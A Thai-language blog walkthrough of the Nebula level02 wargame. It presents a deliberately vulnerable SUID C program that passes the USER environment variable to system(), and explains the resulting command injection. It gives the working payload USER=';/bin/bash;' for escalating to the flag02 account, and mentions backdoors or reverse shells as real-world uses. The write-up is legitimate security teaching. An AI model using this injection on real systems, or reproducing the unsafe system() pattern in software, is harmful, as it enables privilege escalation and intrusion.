Nebula เลเวล 02: ลองแฮกช่องโหว่ command injection + shell variable

Pichaya Morimoto
2 min readMay 31, 2016

--

ตัวอย่างนี้จะคล้าย ๆ ที่อธิบายไว้ในบทความแรกอีกแล้ว แต่จะมีลูกเล่นมากขึ้นมาอีกนิดนึง เริ่มแรกก็ ssh เข้าไปใน Nebula ด้วย user level02 รหัสผ่าน level02 (ไม่ขอย้อนวิธีเข้าละนะครับ) จากนั้นมาลองดูโจทย์กันครับ

เค้าบอกว่า ช่องโหว่ในโปรแกรมนี้ สามารถทำให้ สั่งให้โปรแกรมอื่นทำงานได้ (ด้วยสิทธิ์ของ SUID bit ที่ตั้งไว้) ส่วนโปรแกรมที่แฮกเกอร์อยากจะสั่งให้ทำงาน ก็คงหนีไม่พ้น /bin/bash เช่นเคยครับ เพราะพอได้ spawn shell แล้วจะสั่งคำสั่งอื่นอะไรก็ได้นั้นเอง จากนั้นกลับมาวิเคราะห์ดูที่โค้ดของ binary ที่ได้มาครับ

#include <stdlib.h> 
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
char *buffer;
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
buffer = NULL; asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);
system(buffer);
}

ส่วนตัวผมเห็นโค้ดนี้ครั้งแรก แล้ว ตอบได้ทันทีเลยว่ามันเป็นช่องโหว่ command injection ครับ เพราะในการโจมตี application ทั่วไปโดยเฉพาะเว็บ ก็มีช่องโหว่คล้าย ๆ กันนี้เช่นกัน

ก่อนจะเริ่มแฮกขออธิบาย แนวคิดก่อน…

ว่า เกิดอะไรขึ้นตรงนี้และเราจะแฮกยังไงนะครับ ขอสอนวิธี survival แทนจะเฉลยบรรทัดเดียวจบนะครับ จะได้เอาไปประยุกต์ใช้ในสถานการณ์อื่นได้ด้วย อิอิ

เริ่มแรกตรวจสอบก่อนว่าโปรแกรมนี้มีการตั้ง SUID bit ไว้และมีเจ้าของเป็น flag02 ที่เราต้องการจะยกระดับสิทธิ์จาก level02 ไปนะครับ

$ ls -l /home/flag02
total 8
-rwsr-x--- 1 flag02 level02 7438 Nov 20 2011 flag02

จากฟังก์ชัน asprintf() ถ้ารู้จัก จะคล้าย ๆ กับ fprintf() คือการนำค่า string มาจัด format ได้ แต่แทนที่จะ แสดงออกมาทาง stdout ธรรมดา ให้นำไปใส่ใน pointer ชี้ไปที่ buffer ที่เราจะเก็บค่าแทน .. ปัญหาคือ แล้ว สมมุติถ้าใครไม่รู้จัก asprintf() จะทำไงดีครับ? แน่นอนว่า ทุกคนเกิดมาคงไม่ได้รู้ทุกอย่างจริงไหม อาจจะถามกูเกิลก็ได้ แต่เอาง่าย ๆ ปกติแล้วผมมักจะใช้ man ดูก็ได้ครับ

$ man asprintf

บังเอินว่า man ของฟังก์ชันกลุ่ม printf มันรวมกันหมดเลย เลยต้องเลื่อนลงไปดูก่อนจะพบ…

[…]int
asprintf(char **ret, const char *format, va_list ap);
[…]The asprintf() and vasprintf() functions set *ret to be a pointer to a buffer sufficiently large to hold the for-
matted string.
This pointer should be passed to free(3) to release the allocated storage when it is no longer
needed. If sufficient space cannot be allocated, asprintf() and vasprintf() will return -1 and set ret to be a
NULL pointer.

คำอธิบายก็แปลตรงตัวครับ เป็นฟังก์ชันที่ตั้งค่า pointer ของ buffer (*ret) เป็น string ที่เราในแบบ format ที่เราจัดไว้นะครับ พอกลับมาดูที่โค้ด

asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));

โค้ดนี้มีการ อ่านค่า shell environment ชื่อ USER ด้วยฟังก์ชัน getenv() แล้วนำค่านั้นไปใส่แทนที่ %s ใน string และสุดท้ายเก็บค่านั้นไว้ที่ &buffer ครับ จากนั้นสิ่งที่เกิดขึ้นต่อมาคือ ?

system(buffer);

ชัดเจนครับเอาค่าใน buffer มาสั่งให้ทำงานเป็นคำสั่งลินุกซ์ ตรง ๆ แบบนี้ก็เกิด ช่องโหว่ command injection แน่นอน คือ user สามารถใส่คำสั่งลินุกซ์อื่น ๆ เพิ่มเติมนอกเหนือจากที่ควรจะเป็นเข้าไปตั้งในค่าตัวแปร shell environment ชื่อ USER แล้วสั่งให้มันทำงานจากโปรแกรมที่มีช่องโหว่นี้ได้ครับ

แฮกกกกกก…

ท่าโจมตีทำได้หลายท่ามาก ทั้งหลายท่าในการตั้งตัวแปร shell และท่าในการสั่งให้ command ที่ inject เข้าไปทำงานครับ ในทีนี้ผมก็ใช้วิธีแบบผมจะ ทำโดย…

$ id
uid=1003(level02) gid=1003(level02) groups=1003(level02)
$ /usr/bin/env USER=";/bin/bash;" /home/flag02/flag02
about to call system("/bin/echo ;/bin/bash; is cool")

สิ่งที่เกิดขึ้นคือ ผมใช้โปรแกรม env ตั้งค่าตัวแปร USER เป็นคำว่า ;/bin/bash; ซึ่งพอค่านี้ถูกนำไปสร้างเป็น buffer จะได้ค่า string ว่า

/bin/echo ;/bin/bash; is cool

เพราะว่า มันไปแทนที่ %s ใน

asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));

เมื่อค่า string นี้ถูกรันโดยฟังก์ชัน system() แทนที่จะมีแค่ /bin/echo รันอยู่อย่างเดียว เมื่อไปเจอเครื่องหมาย semi-colon (;) จะไปทำการจบคำสั่ง echo แล้วรันคำสั่งใหม่ว่า /bin/bash ที่เป็นการ spawn shell แทนครับ การทำแบบนี้ในภาษาแฮก ๆ เราเรียกเทคนิคนี้ว่า command injection ครับ ผลก็คือ

$ id
uid=997(flag02) gid=1003(level02) groups=997(flag02),1003(level02)
$ getflag
You have successfully executed getflag on a target account

จะเห็นว่าใน shell ใหม่ที่ spawn ออกมา เมื่อสั่ง id แล้วเราจะได้ uid ของ user flag02 มา ยืนยันว่าการยกระดับสิทธิ์สำเร็จเรียบร้อยแล้วครับ ในการแฮกจริง ๆ ด้วยเทคนิคนี้ แทนที่เราจะ spawn shell ออกมาตรง ๆ เรา อาจจะทำ backdoor หรือ reverse shell ออกมาข้างนอกเครื่องได้ครับ

ที่มา: https://exploit-exercises.com/nebula/level02/

--

--